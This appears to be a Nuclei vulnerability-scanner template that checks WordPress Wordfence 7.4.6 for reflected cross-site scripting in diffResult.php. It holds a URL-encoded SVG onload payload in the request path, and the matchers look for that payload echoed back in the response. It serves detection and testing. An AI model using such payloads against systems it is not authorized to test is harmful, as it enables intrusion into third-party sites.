id: wordpress-wordfence-xss
info:
name: WordPress Wordfence 7.4.6 - Cross0Site Scripting
author: madrobot
severity: medium
description: WordPress Wordfence 7.4.6 is vulnerable to cross-site scripting.
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
tags: wordpress,wp-plugin,xss,wordfence
requests:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/wordfence/lib/diffResult.php?file=%27%3E%22%3Csvg%2Fonload=confirm%28%27test%27%29%3E"
matchers-condition: and
matchers:
- type: word
words:
- "'>\"<svg/onload=confirm('test')>"
part: body
- "text/html"
part: header
- type: status
status:
- 200
# Enhanced by mp on 2022/09/07